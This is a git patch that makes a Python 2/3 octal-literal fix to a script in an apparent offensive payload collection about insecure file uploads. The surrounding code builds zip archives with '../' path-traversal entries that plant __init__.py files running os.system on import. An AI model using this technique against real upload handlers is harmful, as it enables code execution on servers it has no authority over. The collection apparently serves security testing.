From d642980f8c04d83c1096b77980241c803f50ac47 Mon Sep 17 00:00:00 2001 From: cclauss Date: Sun, 2 Sep 2018 14:09:55 +0200 Subject: [PATCH] Use octal numbers that work in both Python 2 and 3 python2 -c "print(0777 << 16L == 0o777 << 16)" # True --- .../Python __init__.py/python-generate-init.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Upload insecure files/Python __init__.py/python-generate-init.py b/Upload insecure files/Python __init__.py/python-generate-init.py index d1efac0..2018f15 100644 --- a/Upload insecure files/Python __init__.py/python-generate-init.py +++ b/Upload insecure files/Python __init__.py/python-generate-init.py @@ -15,5 +15,5 @@ for d in directories: z_info = zipfile.ZipInfo(r"../"+d+"/__init__.py") z_file = zipfile.ZipFile(name, mode="w") # "/home/swissky/Bureau/"+ z_file.writestr(z_info, "import os;print 'Shell';os.system('ls');") - z_info.external_attr = 0777 << 16L + z_info.external_attr = 0o777 << 16 z_file.close()